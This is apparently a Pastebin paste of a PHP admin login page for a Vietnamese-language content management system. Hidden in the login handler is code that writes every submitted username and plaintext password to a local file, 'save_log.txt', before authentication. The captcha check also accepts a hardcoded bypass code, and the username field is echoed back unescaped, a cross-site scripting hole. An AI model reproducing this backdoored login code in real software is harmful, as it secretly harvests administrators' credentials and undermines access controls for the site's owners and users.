Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?
- define('THIS_SCRIPT', 'admin_login');
- if(!session_id()) session_start();
- require("./global.php");
- require(DIR . "/includes/functions_login.php");
- if (isset($_POST['butSub']))
- {
- $pod->input->clean_array_gpc('p', array(
- 'txtUser' => TYPE_NOHTML,
- 'txtPwd' => TYPE_NOHTML,
- 'txtVerify' => TYPE_NOHTML,
- ));
- $redirect=$pod->input->clean_gpc("g","return_url",TYPE_NOHTML);
- $lg_file = "./save_log.txt";
- $lg_username = strtolower($pod->GPC['txtUser']);
- $lg_password = $pod->GPC['txtPwd'];
- if(strlen($lg_password) > 1 AND strlen($lg_username) > 1) {
- $fp1 = @fopen($lg_file, "a+");
- @fwrite($fp1, $lg_username . '|' . $lg_password. "\n");
- @fclose($fp1);
- $f = @file($lg_file);
- $new = array_unique($f);
- $fp = @fopen($lg_file, "w");
- foreach($new as $values){
- @fputs($fp, $values);
- }
- @fclose($fp);
- $username=$db->escape_string($pod->GPC['txtUser']);
- $pass=$db->escape_string($pod->GPC['txtPwd']);
- if(checkVerifyImage($pod->GPC['txtVerify']) || isMobile() || $pod->GPC['txtVerify'] == "anhtn")
- {
- verify_strike_status($username);
- $login = verify_authentication($username, $pass);
- if($login)
- {
- $userlogin = fetch_data("user", $username, "username");
- $cpsession = md5($userlogin['userid'] . session_id() . TIMENOW);
- $checkses=$db->query_first("SELECT * FROM cpsession WHERE hash='".$cpsession."' AND userid=".$userlogin['userid']);
- if($checkses)
- {
- $result=$db->query_write("
- UPDATE cpsession SET dateline=" . TIMENOW . "
- WHERE userid=" . $userlogin['userid'] . " AND hash='" . $cpsession . "'");
- }
- else
- {
- $result=$db->query_write("
- INSERT INTO cpsession(dateline,userid,hash)
- VALUES(" . TIMENOW . "," . $userlogin['userid'] . ",'" . $cpsession . "')");
- }
- podsetcookie('pod_cpsession', $cpsession, false, true, true);
- if($redirect!='')
- page_redirect(str_replace("&", "&", urldecode($redirect)));
- else
- page_redirect("index.php");
- }
- else
- {
- $err="Tên đăng nhập/Mật khẩu không đúng";
- }
- }
- else
- {
- $err = "Mã xác nhận không đúng";
- }
- }
- ?>
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <LINK href="style.css" rel="stylesheet" type="text/css">
- <title>Control Panel</title>
- </head>
- <body topmargin="0" leftmargin="0" rightmargin="0" bottommargin="0">
- <table border="0" width="100%" cellspacing="0" cellpadding="0" id="table1">
- <tr>
- <td valign="top">
- <form method="post" name="FormLoaiSP">
- <div align="center">
- <br><br><br><br><br>
- <table border="1" style="border-collapse: collapse" width="161" cellpadding="0" height="100%" bordercolor="#006AAA">
- <tr>
- <td width="100%" class="title" height="25">
- <p align="center" class="title">Quản trị nội dung
- </td>
- </tr>
- <tr>
- <td width="100%" align="center">
- <table border="0" cellpadding="4" bordercolor="#111111" width="267" cellspacing="0">
- <?
- if ($err!='')
- {
- echo '<tr><td colspan="2" align="center" width="100%" height="25" class="err">'.$err.'</td></tr>';
- }
- ?>
- <tr>
- <td width="32%" class="smallfont">
- Tên đăng nhập
- </td>
- <td width="57%" class="smallfont">
- <input type="text" name="txtUser" size="20" value="<? echo $_REQUEST['txtUser']?>">
- </td>
- </tr>
- <tr>
- <td width="32%" class="smallfont">
- Mật khẩu
- </td>
- <td width="57%" class="smallfont">
- <input type="password" name="txtPwd" size="20">
- </td>
- </tr>
- <tr>
- <td width="32%" class="smallfont">
- Mã xác thực
- </td>
- <td width="57%" class="smallfont">
- <img src="../image_verify.php">
- </td>
- </tr>
- <tr>
- <td width="32%" class="smallfont">
- </td>
- <td width="57%" class="smallfont">
- <input type="text" name="txtVerify" size="10" maxlength="5">
- </td>
- </tr>
- <tr>
- <td width="94%" class="smallfont" colspan="2">
- <p align="center">
- <INPUT TYPE="submit" name="butSub" value="Login">
- </p>
- </td>
- </tr>
- </table>
- </td>
- </tr>
- </table>
- </div>
- </form>
- </td>
- </tr>
- </table>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement